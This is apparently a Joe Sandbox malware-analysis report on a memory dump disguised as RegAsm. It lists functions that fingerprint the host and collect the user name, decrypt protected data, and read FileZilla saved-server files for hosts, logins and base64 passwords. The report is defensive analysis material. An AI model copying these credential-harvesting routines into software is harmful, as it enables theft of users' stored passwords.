Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: \*.*
API String ID: 3334442632-1173974218
Opcode ID: f2912fdd149a1492bf9894a46650c88972c64e3ce901c50a9f3dcd4238ed2218
Instruction ID: 1fdbda64134ea58e6488bafc76ac33e6ab4fc6886a82c1deef43a0e44d6daf7e
Opcode Fuzzy Hash: f2912fdd149a1492bf9894a46650c88972c64e3ce901c50a9f3dcd4238ed2218
Instruction Fuzzy Hash: 07123F71911118ABCB15FB61CC96AEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00F82510,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00F82510,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00F82510,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,00F7F840), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,00F829E8), ref: 0040796B
lstrcat.KERNEL32(?,00F82AD8), ref: 0040797F
lstrcat.KERNEL32(?,00F82AC0), ref: 00407992
lstrcat.KERNEL32(?,00F829B8), ref: 004079A6
lstrcat.KERNEL32(?,00F82C40), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,00F829E8), ref: 00407A09
lstrcat.KERNEL32(?,00F82AD8), ref: 00407A1D
lstrcat.KERNEL32(?,00F82AC0), ref: 00407A31
lstrcat.KERNEL32(?,00F829B8), ref: 00407A44
lstrcat.KERNEL32(?,00F82CA8), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,00F829E8), ref: 00407AA8
lstrcat.KERNEL32(?,00F82AD8), ref: 00407ABB
lstrcat.KERNEL32(?,00F82AC0), ref: 00407ACF
lstrcat.KERNEL32(?,00F829B8), ref: 00407AE3
lstrcat.KERNEL32(?,00F82D10), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,00F829E8), ref: 00407B46
lstrcat.KERNEL32(?,00F82AD8), ref: 00407B5A
lstrcat.KERNEL32(?,00F82AC0), ref: 00407B6D
lstrcat.KERNEL32(?,00F829B8), ref: 00407B81
lstrcat.KERNEL32(?,00F82D78), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,00F829E8), ref: 00407BE4
lstrcat.KERNEL32(?,00F82AD8), ref: 00407BF8
lstrcat.KERNEL32(?,00F82AC0), ref: 00407C0C
lstrcat.KERNEL32(?,00F829B8), ref: 00407C1F
lstrcat.KERNEL32(?,00F82DE0), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,00F829E8), ref: 00407C83
lstrcat.KERNEL32(?,00F82AD8), ref: 00407C96
lstrcat.KERNEL32(?,00F82AC0), ref: 00407CAA
lstrcat.KERNEL32(?,00F829B8), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(33301020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(33301020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(33301020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(33301020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(33301020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(33301020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(33301020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,00F7ACC0), ref: 00407E4B
lstrcat.KERNEL32(?,00F81E80), ref: 00407E5E
lstrlenA.KERNEL32(33301020), ref: 00407E6B
lstrlenA.KERNEL32(33301020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 621d9c5e2dfe729ca80918e13204eea7872d0b4ff733d4fc84d748c8ac2d2b72
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: 621d9c5e2dfe729ca80918e13204eea7872d0b4ff733d4fc84d748c8ac2d2b72
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

<Host>, xrefs: 004101BC
url: , xrefs: 004103B7
browser: FileZilla, xrefs: 00410399
login: , xrefs: 0041040A
password: , xrefs: 0041043B
<User>, xrefs: 00410250
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
<Port>, xrefs: 00410206
<Pass encoding="base64">, xrefs: 0041029A
profile: null, xrefs: 004103A8

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: da3a1ae544897a2e9892385235bcab2548e4fbcb9ccdbebebfad516310db8d02
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: da3a1ae544897a2e9892385235bcab2548e4fbcb9ccdbebebfad516310db8d02
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00F6F4E0), ref: 004192B1
GetProcAddress.KERNEL32(76210000,00F6F4F8), ref: 004192CA
GetProcAddress.KERNEL32(76210000,00F6F210), ref: 004192E2
GetProcAddress.KERNEL32(76210000,00F6F468), ref: 004192FA
GetProcAddress.KERNEL32(76210000,00F6F480), ref: 00419313
GetProcAddress.KERNEL32(76210000,00F74CF8), ref: 0041932B
GetProcAddress.KERNEL32(76210000,00F73D38), ref: 00419343
GetProcAddress.KERNEL32(76210000,00F73D58), ref: 0041935C
GetProcAddress.KERNEL32(76210000,00F6F228), ref: 00419374
GetProcAddress.KERNEL32(76210000,00F6F270), ref: 0041938C
GetProcAddress.KERNEL32(76210000,00F6F258), ref: 004193A5
GetProcAddress.KERNEL32(76210000,00F6F498), ref: 004193BD
